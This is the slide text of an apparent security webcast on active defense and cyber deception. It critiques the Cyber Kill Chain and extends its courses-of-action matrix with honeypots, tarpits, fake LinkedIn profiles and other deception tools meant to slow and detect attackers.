
- Offensive countermeasures employ offensive techniques as aggressors attack, *but with a defensive posture*
  - Aikido provides an excellent analogy
  - Aikido focuses on redirecting and blocking opponents' attacks while taking considerable care not to harm the attacker in the process
  - Aikido practitioners *respond* to attacks; they do not *initiate* attacks
- Think poison, not venom
  - Poison is taken and then consumed, whereas venom is injected
  - Lay traps inside *your* systems, but don't attack *theirs*
- Always ensure solid legal footing
  - Proper authorization, warrant, written approval, etc.

Summary (3)

- Cyber deception is the deliberate and calculated process of deceiving attackers in an effort to wage a better defense
  - Slow them down, confuse them, deceive them… make them work harder
  - Serves to significantly increase your chances of detection
  - Designed to make **D**etection$_t$ + **R**eaction$_t$ < **A**ttack$_t$ **(D_t + R_t < A_t)**
- Cyber deception does not replace other efforts or layers of defense
- It should compliment and feed the other layers
- Militaries have employed deception strategies since the beginning of time. Why don't we?

All Warfare Is Based on Deception

Sun Tzu

information

All warfare is based on deception. There is no place where espionage is not used. Offer the enemy bait to lure him.

AZ QUOTES

"Know Thy Enemy" – Sun Tzu

You!

The most advanced adversaries the world has ever known

They have turned the entire telecommunications infrastructure into a surveillance and attack platform

Make no mistake, APTs hunt administrators without mercy

They'll ensure it bypasses detection by current strategies before they ever deploy

Entire teams dedicated to attacking your organization

0-days, undisclosed exploits, advanced malware, backdoors, supply chain infiltration, spies, coercion, lawfare, etc.

"It's all just electrons…" – Cosmo from Sneakers

Key logging, RAM-scraping, SAT impersonation, password managers, etc.

Post-exploitation actions are adroitly executed under valid user context using normal OS features

https://en.wikipedia.org/wiki/Advanced_persistent_threat

The OODA Loop

Disrupting Their OODA Loop

Cyber Kill Chains

- ‘I will not rant… I will not rant…. I will not rant’
- But, Cyber Kill Chains look a lot like Defense in Depth
- And… They are not going away.. Still get customers asking about them… A lot. Hence, this webcast
- But, from the perspective of an attacker
  - Or, at the very least using the attackers process as lens to view defense
- Trademarked by Lockheed Martin
- Why Trademarked?
  - Because, whoever made that decision is lame
- Marketing and Management… Don’t blame the authors

Value of CKC

- Looking at your defense from the perspective of how an attacker operates is a good idea
  - So good in fact, we have been teaching 504 this way for 10 years
  - We did not try and trademark 504.. Because that would be dumb
- However, look at what you purchase and asking how it would disrupt or at least slow down an attacker is a great idea

CKC Flaws

- Ok… Just some quotes.. See if you see some problems…

This all looks… Familiar..

Table 1: Courses of Action Matrix

Phase	Detect	Deny	Disrupt	Degrade	Deceive	Destroy
Reconnaissance	Web analytics	Firewall ACL				
Weaponization	NIDS	NIPS				
Delivery	Vigilant user	Proxy filter	In-line AV	Queuing		
Exploitation	HIDS	Patch	DEP			
Installation	HIDS	"chroot" jail	AV			
C2	NIDS	Firewall ACL	NIPS	Tarpit	DNS redirect	
Actions on Objectives	Audit log			Quality of Service	Honeypot	

Table 1 depicts a course of action matrix using the actions of detect, deny, disrupt, degrade, deceive, and destroy from DoD information operations (IO) doctrine (U.S. Department of Defense, 2006). This matrix depicts in the exploitation phase, for example, that host intrusion detection systems (HIDS) can passively *detect* exploits, patching *denies* exploitation altogether, and data execution prevention (DEP) can *disrupt* the exploit once it initiates. Illustrating the spectrum of capabilities defenders can employ, the matrix includes traditional systems like network intrusion detection systems (NIDS) and firewall access control lists (ACL), system hardening best practices like audit logging, but also vigilant users themselves who can detect suspicious activity.

Table 1: Courses of Action Matrix

Phase	Detect	Deny	Disrupt	Degrade	Deceive	Destroy
Reconnaissance	Web analytics	Firewall ACL				
Weaponization	NIDS	NIPS				
Delivery	Vigilant user	Proxy filter	In-line AV	Queuing		
Exploitation	HIDS	Patch	DEP			
Installation	HIDS	"chroot" jail	AV			
C2	NIDS	Firewall ACL	NIPS	Tarpit	DNS redirect	
Actions on Objectives	Audit log			Quality of Service	Honeypot	

Recon

- Lets use some Active Defense tactics to “fix” Cyber Kill Chains
- How can we effectively mess with an attacker who is doing Recon and Probing of your network?
- Remember, the goal is to degrade their abilities and increase your abilities to detect.

Recon – Fake is Fake

- Lets create fake users on Linkedin
- Then monitor the interaction via scripts

Zander…

Zander thorstensen
Prision at State of South Dakota
Rapid City, South Dakota Area | Hospitality
Current State of South Dakota, Roscoes Pit BBQ
Send Zander InMail
Background
Experience
Prision
State of South Dakot
January 2000 – Prese
Dishwasher
Roscoes Pit BBQ
January 1999 – Prese
Zander Thorstensen
Timeline
About
Friends 3 Mutual

Table 1: Courses of Action Matrix

Phase	Detect	Deny	Disrupt	Degrade	Deceive	Destroy
Reconnaissance	Web analytics	Firewall ACL	Portspoof SpiderTrap	Weblabyrinth HoneyPorts	PHPIDS LinkedIn	WTF?
Weaponization	NIDS	NIPS	Lie in Job Posting	SRP	Lie in Job Postings	WTF?
Delivery	Vigilant user	Proxy filter	In-line AV	Queuing	Lie in Job Posting	WTF?
Exploitation	HIDS	SRP Patch	SRP DEP	SRP	Sandbox Honeypots rubberglue	WTF?
Installation	HIDS	SRP "chroot" jail	AV	Internet Whitelisting		WTF?
C2	NIDS	Firewall ACL	NIPS	Tarpit	DNS redirect	WTF?
Actions on Objectives	Audit log			Quality of Service	Honeypot	WTF?

I don't want to say

- CKC is dumb
- It is a rehash of Defense in Depth
- It is simply a ploy to generate buzz using a framework with "kill" in it
- It is just another excuse to throw ™ around
- It was written by people who fundamentally lack an understanding of how current security technologies are failing

But I will say…

- It is great to look at defenses in terms of what attackers do!
- It can be heavily augmented and greatly improved with Active Defense components
  - Many of which are free by the way
  - And not ™
- The authors deserve all the free beer and puppies in the world

Summary

- It's about changing the game…
- It's about actively engaging the enemy
- It's about disrupting their OODA loop
- It's about affecting the ($D_t + R_t < A_t$) equation
- It's about getting away from the easy button
- It's about getting away from plug-and-play security solutions
- It's about embracing the fact that advanced adversaries aren't afraid of consoles and executive dashboards
- It's about getting into the fight!

Remember, This Is *Your* House, and It's Game On!

Conclusions

- Active defense, offensive countermeasures, and cyber deception
  - Deceptively simple
  - Surprisingly cheap
  - Remarkably effective and fun!

CAUTION
THIS IS SPARTA